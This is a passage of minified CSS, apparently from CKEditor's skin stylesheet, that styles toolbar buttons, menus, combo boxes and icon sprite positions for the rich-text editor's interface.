0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_panel_listItem p,.cke_panel_listItem h1,.cke_panel_listItem h2,.cke_panel_listItem h3,.cke_panel_listItem h4,.cke_panel_listItem h5,.cke_panel_listItem h6,.cke_panel_listItem pre{margin-top:0;margin-bottom:0}.cke_colorblock{padding:3px;font-size:11px;font-family:'Microsoft Sans Serif',Tahoma,Arial,Verdana,Sans-Serif}.cke_colorblock,.cke_colorblock a{text-decoration:none;color:#000}span.cke_colorbox{width:10px;height:10px;border:#808080 1px solid;float:left}.cke_rtl span.cke_colorbox{float:right}a.cke_colorbox{border:#fff 1px solid;padding:2px;float:left;width:12px;height:12px}.cke_rtl a.cke_colorbox{float:right}a:hover.cke_colorbox,a:focus.cke_colorbox,a:active.cke_colorbox{border:#b6b6b6 1px solid;background-color:#e5e5e5}a.cke_colorauto,a.cke_colormore{border:#fff 1px solid;padding:2px;display:block;cursor:pointer}a:hover.cke_colorauto,a:hover.cke_colormore,a:focus.cke_colorauto,a:focus.cke_colormore,a:active.cke_colorauto,a:active.cke_colormore{border:#b6b6b6 1px solid;background-color:#e5e5e5}.cke_toolbar{float:left}.cke_rtl .cke_toolbar{float:right}.cke_toolgroup{float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_hc .cke_toolgroup{border:0;margin-right:10px;margin-bottom:10px}.cke_rtl .cke_toolgroup{float:right;margin-left:6px;margin-right:0}a.cke_button{display:inline-block;height:18px;padding:4px 6px;outline:0;cursor:default;float:left;border:0}.cke_ltr .cke_button:last-child,.cke_rtl .cke_button:first-child{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0 2px 2px 0;border-radius:0 2px 2px 0}.cke_ltr .cke_button:first-child,.cke_rtl .cke_button:last-child{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px 0 0 2px;border-radius:2px 0 0 2px}.cke_rtl .cke_button{float:right}.cke_hc .cke_button{border:1px solid black;padding:3px 5px;margin:-2px 4px 0 -2px}.cke_button_on{-moz-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc a.cke_button_disabled:hover,.cke_hc a.cke_button_disabled:focus,.cke_hc a.cke_button_disabled:active{border-width:3px;padding:1px 3px}.cke_button_disabled .cke_button_icon{opacity:.3}.cke_hc .cke_button_disabled{opacity:.5}a.cke_button_on:hover,a.cke_button_on:focus,a.cke_button_on:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{-moz-box-shadow:0 0 1px rgba(0,0,0,.3) inset;-webkit-box-shadow:0 0 1px rgba(0,0,0,.3) inset;box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_button_icon{cursor:inherit;background-repeat:no-repeat;margin-top:1px;width:16px;height:16px;float:left;display:inline-block}.cke_rtl .cke_button_icon{float:right}.cke_hc .cke_button_icon{display:none}.cke_button_label{display:none;padding-left:3px;margin-top:1px;line-height:17px;vertical-align:middle;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5)}.cke_rtl .cke_button_label{padding-right:3px;padding-left:0;float:right}.cke_hc .cke_button_label{padding:0;display:inline-block;font-size:12px}.cke_button_arrow{display:inline-block;margin:8px 0 0 1px;width:0;height:0;cursor:default;vertical-align:top;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_rtl .cke_button_arrow{margin-right:5px;margin-left:0}.cke_hc .cke_button_arrow{font-size:10px;margin:3px -2px 0 3px;width:auto;border:0}.cke_toolbar_separator{float:left;background-color:#c0c0c0;background-color:rgba(0,0,0,.2);margin:5px 2px 0;height:18px;width:1px;-webkit-box-shadow:1px 0 1px rgba(255,255,255,.5);-moz-box-shadow:1px 0 1px rgba(255,255,255,.5);box-shadow:1px 0 1px rgba(255,255,255,.5)}.cke_rtl .cke_toolbar_separator{float:right;-webkit-box-shadow:-1px 0 1px rgba(255,255,255,.1);-moz-box-shadow:-1px 0 1px rgba(255,255,255,.1);box-shadow:-1px 0 1px rgba(255,255,255,.1)}.cke_hc .cke_toolbar_separator{width:0;border-left:1px solid;margin:1px 5px 0 0}.cke_toolbar_break{display:block;clear:left}.cke_rtl .cke_toolbar_break{clear:right}.cke_toolbox_collapser{width:12px;height:11px;float:right;margin:11px 0 0;font-size:0;cursor:default;text-align:center;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_toolbox_collapser:hover{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_toolbox_collapser.cke_toolbox_collapser_min{margin:0 2px 4px}.cke_rtl .cke_toolbox_collapser{float:left}.cke_toolbox_collapser .cke_arrow{display:inline-block;height:0;width:0;font-size:0;margin-top:1px;border-left:3px solid transparent;border-right:3px solid transparent;border-bottom:3px solid #474747;border-top:3px solid transparent}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{margin-top:4px;border-bottom-color:transparent;border-top-color:#474747}.cke_hc .cke_toolbox_collapser .cke_arrow{font-size:8px;width:auto;border:0;margin-top:0;margin-right:2px}.cke_menubutton{display:block}.cke_menuitem span{cursor:default}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#d3d3d3;display:block}.cke_hc .cke_menubutton{padding:2px}.cke_hc .cke_menubutton:hover,.cke_hc .cke_menubutton:focus,.cke_hc .cke_menubutton:active{border:2px solid;padding:0}.cke_menubutton_inner{display:table-row}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:table-cell}.cke_menubutton_icon{background-color:#d7d8d7;opacity:.70;filter:alpha(opacity=70);padding:4px}.cke_hc .cke_menubutton_icon{height:16px;width:0;padding:4px 0}.cke_menubutton:hover .cke_menubutton_icon,.cke_menubutton:focus .cke_menubutton_icon,.cke_menubutton:active .cke_menubutton_icon{background-color:#d0d2d0}.cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_label{padding:0 5px;background-color:transparent;width:100%;vertical-align:middle}.cke_menubutton_disabled .cke_menubutton_label{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_on{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_menubutton_on .cke_menubutton_icon{padding-right:3px}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#eff0ef}.cke_panel_frame .cke_menubutton_label{display:none}.cke_menuseparator{background-color:#d3d3d3;height:1px;filter:alpha(opacity=70);opacity:.70}.cke_menuarrow{background-image:url(images/arrow.png);background-position:0 10px;background-repeat:no-repeat;padding:0 5px}.cke_rtl .cke_menuarrow{background-position:5px -13px;background-repeat:no-repeat}.cke_menuarrow span{display:none}.cke_hc .cke_menuarrow span{vertical-align:middle;display:inline}.cke_combo{display:inline-block;float:left}.cke_rtl .cke_combo{float:right}.cke_hc .cke_combo{margin-top:-2px}.cke_combo_label{display:none;float:left;line-height:26px;vertical-align:top;margin-right:5px}.cke_rtl .cke_combo_label{float:right;margin-left:5px;margin-right:0}.cke_combo_button{cursor:default;display:inline-block;float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_combo_off a.cke_combo_button:hover,.cke_combo_off a.cke_combo_button:focus{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc');outline:0}.cke_combo_off a.cke_combo_button:active,.cke_combo_on a.cke_combo_button{border:1px solid #777;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_combo_on a.cke_combo_button:hover,.cke_combo_on a.cke_combo_button:focus,.cke_combo_on a.cke_combo_button:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}.cke_rtl .cke_combo_button{float:right;margin-left:5px;margin-right:0}.cke_hc a.cke_combo_button{padding:3px}.cke_hc .cke_combo_on a.cke_combo_button,.cke_hc .cke_combo_off a.cke_combo_button:hover,.cke_hc .cke_combo_off a.cke_combo_button:focus,.cke_hc .cke_combo_off a.cke_combo_button:active{border-width:3px;padding:1px}.cke_combo_text{line-height:26px;padding-left:10px;text-overflow:ellipsis;overflow:hidden;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5);width:60px}.cke_rtl .cke_combo_text{float:right;text-align:right;padding-left:0;padding-right:10px}.cke_hc .cke_combo_text{line-height:18px;font-size:12px}.cke_combo_open{cursor:default;display:inline-block;font-size:0;height:19px;line-height:17px;margin:1px 7px 1px;width:5px}.cke_hc .cke_combo_open{height:12px}.cke_combo_arrow{cursor:default;margin:11px 0 0;float:left;height:0;width:0;font-size:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_hc .cke_combo_arrow{font-size:10px;width:auto;border:0;margin-top:3px}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{opacity:.3}.cke_path{float:left;margin:-2px 0 2px}.cke_path_item,.cke_path_empty{display:inline-block;float:left;padding:3px 4px;margin-right:2px;cursor:default;text-decoration:none;outline:0;border:0;color:#4c4c4c;text-shadow:0 1px 0 #fff;font-weight:bold;font-size:11px}.cke_rtl .cke_path,.cke_rtl .cke_path_item,.cke_rtl .cke_path_empty{float:right}a.cke_path_item:hover,a.cke_path_item:focus,a.cke_path_item:active{background-color:#bfbfbf;color:#333;text-shadow:0 1px 0 rgba(255,255,255,.5);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);-webkit-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5)}.cke_hc a.cke_path_item:hover,.cke_hc a.cke_path_item:focus,.cke_hc a.cke_path_item:active{border:2px solid;padding:1px 2px}.cke_button__source_label,.cke_button__sourcedialog_label{display:inline}.cke_combo__fontsize .cke_combo_text{width:30px}.cke_combopanel__fontsize{width:120px}.cke_source{font-family:'Courier New',Monospace;font-size:small;background-color:#fff;white-space:pre}.cke_wysiwyg_frame,.cke_wysiwyg_div{background-color:#fff}.cke_chrome{visibility:inherit}.cke_voice_label{display:none}legend.cke_voice_label{display:none}a.cke_button_disabled,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{filter:alpha(opacity = 30)}.cke_button_disabled .cke_button_icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#00ffffff,endColorstr=#00ffffff)}.cke_button_off:hover,.cke_button_off:focus,.cke_button_off:active{filter:alpha(opacity = 100)}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{filter:alpha(opacity = 30)}.cke_toolbox_collapser{border:1px solid #a6a6a6}.cke_toolbox_collapser .cke_arrow{margin-top:1px}.cke_hc .cke_top,.cke_hc .cke_bottom,.cke_hc .cke_combo_button,.cke_hc a.cke_combo_button:hover,.cke_hc a.cke_combo_button:focus,.cke_hc .cke_toolgroup,.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc .cke_toolbox_collapser,.cke_hc .cke_toolbox_collapser:hover,.cke_hc .cke_panel_grouptitle{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_toolbox_collapser .cke_arrow{border-width:4px}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{border-width:3px}.cke_toolbox_collapser .cke_arrow{margin-top:0}.cke_button__bold_icon {background: url(icons.png) no-repeat 0 -0px !important;}.cke_button__italic_icon {background: url(icons.png) no-repeat 0 -24px !important;}.cke_button__strike_icon {background: url(icons.png) no-repeat 0 -48px !important;}.cke_button__subscript_icon {background: url(icons.png) no-repeat 0 -72px !important;}.cke_button__superscript_icon {background: url(icons.png) no-repeat 0 -96px !important;}.cke_button__underline_icon {background: url(icons.png) no-repeat 0 -120px !important;}.cke_button__blockquote_icon {background: url(icons.png) no-repeat 0 -144px !important;}.cke_rtl .cke_button__copy_icon, .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -168px !important;}.cke_ltr .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -192px !important;}.cke_rtl .cke_button__cut_icon, .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -216px !important;}.cke_ltr .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -240px !important;}.cke_rtl .cke_button__paste_icon, .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -264px !important;}.cke_ltr .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -288px !important;}.cke_button__bgcolor_icon {background: url(icons.png) no-repeat 0 -312px !important;}.cke_button__textcolor_icon {background: url(icons.png) no-repeat 0 -336px !important;}.cke_button__horizontalrule_icon {background: url(icons.png) no-repeat 0 -360px !important;}.cke_button__image_icon {background: url(icons.png) no-repeat 0 -384px !important;}.cke_rtl .cke_button__indent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -408px !important;}.cke_ltr .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -432px !important;}.cke_rtl .cke_button__outdent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -456px !important;}.cke_ltr .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -480px !important;}.cke_button__justifyblock_icon {background: url(icons.png) no-repeat 0 -504px !important;}.cke_button__justifycenter_icon {background: url(icons.png) no-repeat 0 -528px !important;}.cke_button__justifyleft_icon {background: url(icons.png) no-repeat 0 -552px !important;}.cke_button__justifyright_icon {background: url(icons.png) no-repeat 0 -576px !important;}.cke_rtl .cke_button__anchor_icon, .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -600px !important;}.cke_ltr .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -624px !important;}.cke_button__link_icon {background: url(icons.png) no-repeat 0 -648px !important;}.cke_button__unlink_icon {background: url(icons.png) no-repeat 0 -672px !important;}.cke_rtl .cke_button__bulletedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -696px !important;}.cke_ltr .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -720px !important;}.cke_rtl .cke_button__numberedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -744px !important;}.cke_ltr .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -768px !important;}.cke_button__maximize_icon {background: url(icons.png) no-repeat 0 -792px !important;}.cke_rtl .cke_button__pastefromword_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -816px !important;}.cke_ltr .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -840px !important;}.cke_rtl .cke_button__pastetext_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -864px !important;}.cke_ltr .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -888px !important;}.cke_button__removeformat_icon {background: url(icons.png) no-repeat 0 -912px !important;}.cke_rtl .cke_button__source_icon, .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons.png) no-repeat 0 -936px !important;}.cke_ltr .cke_button__source_icon {background: url(icons.png) no-repeat 0 -960px !important;}.cke_button__table_icon {background: url(icons.png) no-repeat 0 -984px !important;}.cke_rtl .cke_button__redo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1008px !important;}.cke_ltr .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1032px !important;}.cke_rtl .cke_button__undo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1056px !important;}.cke_ltr .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1080px !important;}.cke_rtl .cke_button__sourcedialog_icon, .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1104px !important;}.cke_ltr .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1128px !important;}.cke_hidpi .cke_button__bold_icon {background: url(icons_hidpi.png) no-repeat 0 -0px !important;background-size: 16px !important;}.cke_hidpi .cke_button__italic_icon {background: url(icons_hidpi.png) no-repeat 0 -24px !important;background-size: 16px !important;}.cke_hidpi .cke_button__strike_icon {background: url(icons_hidpi.png) no-repeat 0 -48px !important;background-size: 16px !important;}.cke_hidpi .cke_button__subscript_icon {background: url(icons_hidpi.png) no-repeat 0 -72px !important;background-size: 16px !important;}.cke_hidpi .cke_button__superscript_icon {background: url(icons_hidpi.png) no-repeat 0 -96px !important;background-size: 16px !important;}.cke_hidpi .cke_button__underline_icon {background: url(icons_hidpi.png) no-repeat 0 -120px !important;background-size: 16px !important;}.cke_hidpi .cke_button__blockquote_icon {background: url(icons_hidpi.png) no-repeat 0 -144px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__copy_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -168px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__copy_icon,.cke_ltr.cke_hidpi .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -192px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__cut_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -216px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__cut_icon,.cke_ltr.cke_hidpi .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -240px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__paste_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -264px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__paste_icon,.cke_ltr.cke_hidpi .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -288px !important;background-size: 16px !important;}.cke_hidpi .cke_button__bgcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -312px !important;background-size: 16px !important;}.cke_hidpi .cke_button__textcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -336px !important;background-size: 16px !important;}.cke_hidpi .cke_button__horizontalrule_icon {background: url(icons_hidpi.png) no-repeat 0 -360px !important;background-size: 16px !important;}.cke_hidpi .cke_button__image_icon {background: url(icons_hidpi.png) no-repeat 0 -384px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__indent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -408px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__indent_icon,.cke_ltr.cke_hidpi .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -432px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__outdent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -456px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__outdent_icon,.cke_ltr.cke_hidpi .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -480px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyblock_icon {background: url(icons_hidpi.png) no-repeat 0 -504px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifycenter_icon {background: url(icons_hidpi.png) no-repeat 0 -528px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyleft_icon {background: url(icons_hidpi.png) no-repeat 0 -552px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyright_icon {background: url(icons_hidpi.png) no-repeat 0 -576px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__anchor_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -600px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__anchor_icon,.cke_ltr.cke_hidpi .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -624px !important;background-size: 16px !important;}.cke_hidpi .cke_button__link_icon {background: url(icons_hidpi.png) no-repeat 0 -648px !important;background-size: 16px !important;}.cke_hidpi .cke_button__unlink_icon {background: url(icons_hidpi.png) no-repeat 0 -672px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__bulletedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -696px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__bulletedlist_icon,.cke_ltr.cke_hidpi .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -720px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__numberedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -744px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__numberedlist_icon,.cke_ltr.cke_hidpi .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -768px !important;background-size: 16px !important;}.cke_hidpi .cke_button__maximize_icon {background: url(icons_hidpi.png) no-repeat 0 -792px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastefromword_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -816px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastefromword_icon,.cke_ltr.cke_hidpi .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -840px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastetext_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -864px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastetext_icon,.cke_ltr.cke_hidpi 